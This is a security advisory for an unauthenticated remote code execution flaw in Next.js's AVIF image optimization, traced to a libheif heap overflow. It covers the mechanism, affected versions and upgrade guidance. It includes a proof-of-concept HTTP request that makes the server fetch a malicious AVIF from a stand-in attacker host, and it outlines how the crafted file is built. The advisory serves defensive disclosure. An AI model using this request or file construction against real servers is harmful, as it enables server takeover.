criticalSep 8, 2026

Next.js: Unauthenticated Remote Code Execution via AVIF Image Optimization (CVE-2026-84383 / libheif)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted AVIF image sent to Next.js's built-in image optimizer triggers a heap buffer overflow deep in the libheif C library, letting a remote attacker execute arbitrary code on the server without…

Packagenext
Ecosystemnpm
Affected>= 10.0.0, < 15.5.24
Fixed in15.5.24
Next.js: Unauthenticated Remote Code Execution via AVIF Image Optimization (CVE-2026-84383 / libheif)

The problem

Next.js uses sharp for image optimization, and sharp calls into libheif to decode AVIF files. libheif <= 1.23.1 contains a critical heap buffer overflow (CVE-2026-84383) in its scale_nearest_neighbor() function.

A specially crafted AVIF file using nested identity-derivation (iden) and auxiliary (auxl) item references tricks libheif into allocating a buffer sized for an 8-bit Alpha plane, then writing 16-bit samples from a second Alpha plane into it. The result is an attacker-controlled out-of-bounds write of roughly 16 KB, reachable by anyone who can make the Next.js server fetch or accept an AVIF image.

No authentication is required.

Proof of concept

A working proof-of-concept for this issue in next, with the exact payload below.

http
GET /_next/image?url=https%3A%2F%2Fattacker.example%2Fmalicious.avif&w=1920&q=75 HTTP/1.1
Host: target.example.com
Accept: image/avif,image/webp,*/*

The attack reaches the server via the standard /_next/image optimization endpoint. When the Accept header or configured formats include image/avif and the URL resolves to an attacker-controlled file, Next.js passes the raw AVIF bytes to sharp, which calls heif_decode_image() in libheif.

The malicious AVIF is constructed with nested iden/auxl item references that cause libheif to build a decoded image with two Alpha plane entries at different bit depths. The scaler allocates a destination buffer for the 8-bit Alpha plane but then writes 16-bit sample data from the second entry into that same region, producing a heap OOB write whose size and values are attacker-controlled via the ISOBMFF container and HEVC bitstream content.

The upstream libheif advisory (GHSA-g89c-p67h-r497) ships a public Python PoC (gen_poc.py) that generates a file reproducing the overflow; researchers confirmed RCE on multiple real applications. The Next.js patch (PR #97875, commit 3a15b4ac) does not fix the C library.

It removes AVIF from the list of formats the optimizer will process, so the unsafe heif_decode_image() call path is never reached.

The fix

Upgrade to Next.js 15.5.24 (Maintenance LTS) or 16.3.3 (Active LTS). The patched releases disable AVIF optimization entirely: AVIF inputs are served as-is without decoding until a fixed libheif version propagates through the sharp dependency. If you cannot upgrade immediately, remove image/avif from the formats array in next.config.js to stop the optimizer from invoking sharp on AVIF inputs.

Applications hosted on Vercel are already protected. Note: AVIF optimization will remain disabled in Next.js until a release of sharp ships with libheif >= 1.23.2.

Reported by Harsh Jaiswal (@rootxharsh), coordinated by Karim Rahal (@KarimPwnz) via Hacktron.

References: [1][2][3][4][5][6]

Related research